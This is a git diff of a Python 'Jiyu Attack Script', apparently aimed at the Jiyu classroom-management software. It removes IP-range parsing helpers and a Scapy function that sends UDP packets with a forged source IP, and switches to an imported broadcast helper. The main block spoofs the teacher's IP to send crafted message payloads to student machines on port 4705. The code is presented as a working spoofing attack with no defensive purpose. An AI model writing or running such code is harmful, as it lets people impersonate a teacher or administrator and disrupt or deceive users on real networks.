1- # pylint: disable=line-too-long, invalid-name
2-
31"""
42Jiyu Attack Script
53
1311
1412from typing import Literal , Optional
1513
16- import scapy .all as scapy
17-
18-
19- def ip_to_tuple (ip : str ) -> tuple [int , int , int , int ]:
20- """
21- Converts an IP address string to a tuple of four integers.
22-
23- Args:
24- ip (str): The IP address in string format (e.g., "192.168.1.1").
25-
26- Returns:
27- tuple[int, int, int, int]: A tuple representing the four octets of the IP address.
28-
29- Raises:
30- TypeError: If the input is not a string.
31- ValueError: If the input is not a valid IP address format.
32- """
33- if not isinstance (ip , str ):
34- raise TypeError (f"Expected string, got { type (ip ).__name__ } " )
35- try :
36- ip_tuple = tuple (int (x ) for x in ip .split ("." ))
37- except ValueError :
38- raise ValueError (f"Invalid IP address format: { ip } " ) from None
39- if len (ip_tuple ) != 4 or any (x < 0 or x > 255 for x in ip_tuple ):
40- raise ValueError (f"Invalid IP address format: { ip } " )
41- return ip_tuple
42-
43-
44- # pylint: disable=too-many-branches
45- def ip_analyze (ip : str ) -> list [str ]:
46- """
47- Analyzes an IP address or range and returns a list of valid IP addresses.
48-
49- Args:
50- ip (str): The IP address or range in string format (e.g., "192.168.1.1", "192.168.1.1/24", "192.168.1.1-100").
51-
52- Returns:
53- list[str]: A list of valid IP addresses.
54-
55- Raises:
56- TypeError: If the input is not a string.
57- ValueError: If the input is not a valid IP address or range.
58- """
59- if not isinstance (ip , str ):
60- raise TypeError (f"Expected string, got { type (ip ).__name__ } " )
61- ip = ip .replace (" " , "" )
62- if "/" in ip :
63- match ip .split ("/" ):
64- case [ip_addr , mask ]:
65- if not mask .isdigit ():
66- raise ValueError (f"Invalid subnet mask: { mask } " )
67- mask = int (mask )
68- if mask < 0 or mask > 32 :
69- raise ValueError (f"Subnet mask out of range: { mask } " )
70- if mask < 16 :
71- raise ValueError (f"Subnet mask too small: { mask } " )
72- case _:
73- raise ValueError (f"Invalid IP address format: { ip } " )
74- ip_tuple = ip_to_tuple (ip_addr )
75- ip32 = ip_tuple [0 ] << 24 | ip_tuple [1 ] << 16 | ip_tuple [2 ] << 8 | ip_tuple [3 ]
76- ip32 &= (0xFFFFFFFF >> (32 - mask )) << (32 - mask )
77- return [
78- f"{ (i >> 24 ) & 0xFF } .{ (i >> 16 ) & 0xFF } .{ (i >> 8 ) & 0xFF } .{ i & 0xFF } "
79- for i in range (ip32 , ip32 + (1 << (32 - mask )))
80- ]
81- if "-" in ip :
82- ip_range_tuple = ip .split ("." )
83- if len (ip_range_tuple ) != 4 :
84- raise ValueError (f"Invalid IP address range format: { ip } " )
85- ip_count = 1
86- ip_range : list [tuple [int , int ]] = []
87- for i in ip_range_tuple :
88- match i .split ("-" ):
89- case [single ]:
90- if not single .isdigit ():
91- raise ValueError (f"Invalid IP address range format: { ip } " )
92- single = int (single )
93- if single < 0 or single > 255 :
94- raise ValueError (f"IP address out of range: { single } " )
95- ip_range .append ((single , single ))
96- case [start , end ]:
97- if not (start .isdigit () and end .isdigit ()):
98- raise ValueError (f"Invalid IP address range format: { ip } " )
99- start = int (start )
100- end = int (end )
101- if start < 0 or start > 255 or end < 0 or end > 255 or start > end :
102- raise ValueError (f"Invalid IP address range: { start } -{ end } " )
103- ip_range .append ((start , end ))
104- case _:
105- raise ValueError (f"Invalid IP address range format: { ip } " )
106- ip_count *= ip_range [- 1 ][1 ] - ip_range [- 1 ][0 ] + 1
107- if ip_count > 65536 :
108- raise ValueError (f"IP address range too large: { ip_count } addresses" )
109- return [
110- f"{ a } .{ b } .{ c } .{ d } "
111- for a in range (ip_range [0 ][0 ], ip_range [0 ][1 ] + 1 )
112- for b in range (ip_range [1 ][0 ], ip_range [1 ][1 ] + 1 )
113- for c in range (ip_range [2 ][0 ], ip_range [2 ][1 ] + 1 )
114- for d in range (ip_range [3 ][0 ], ip_range [3 ][1 ] + 1 )
115- ]
116- ip_tuple = ip_to_tuple (ip )
117- return [f"{ ip_tuple [0 ]} .{ ip_tuple [1 ]} .{ ip_tuple [2 ]} .{ ip_tuple [3 ]} " ]
14+ from sender import broadcast_packet
11815
11916
12017def format_data (data : str , max_length : Optional [int ] = None ) -> bytes :
@@ -240,28 +137,6 @@ def pkg_website(url: str) -> bytes:
240137 return head + data + b"\x00 " * 4
241138
242139
243- def send_packet (src_ip : str , dst_ip : str , dst_port : int , data : bytes ) -> None :
244- """
245- Sends a UDP packet with the specified source IP, destination IP, destination port, and data payload.
246-
247- Args:
248- src_ip (str): The source IP address.
249- dst_ip (str): The destination IP address.
250- dst_port (int): The destination port number.
251- data (bytes): The data payload to include in the packet.
252-
253- Raises:
254- scapy.error.Scapy_Exception: If there is an error sending the packet.
255-
256- Note:
257- This function uses Scapy to construct and send the packet.
258- Ensure that Scapy is installed and properly configured in your environment.
259- """
260- # pylint: disable=no-member
261- packet = scapy .IP (src = src_ip , dst = dst_ip ) / scapy .UDP (dport = dst_port ) / scapy .Raw (load = data ) # type: ignore
262- scapy .send (packet , count = 1 , verbose = False )
263-
264-
265140if __name__ == "__main__" :
266141 teacher_ip = input ("Enter the teacher's IP address: " ).strip ()
267142 target = input ("Enter the target IP address: " ).strip ()
@@ -271,4 +146,4 @@ def send_packet(src_ip: str, dst_ip: str, dst_port: int, data: bytes) -> None:
271146 print ("Exiting..." )
272147 break
273148 payload = pkg_message (tmsg )
274- send_packet (teacher_ip , target , 4705 , payload )
149+ broadcast_packet (teacher_ip , target , 4705 , payload )
0 commit comments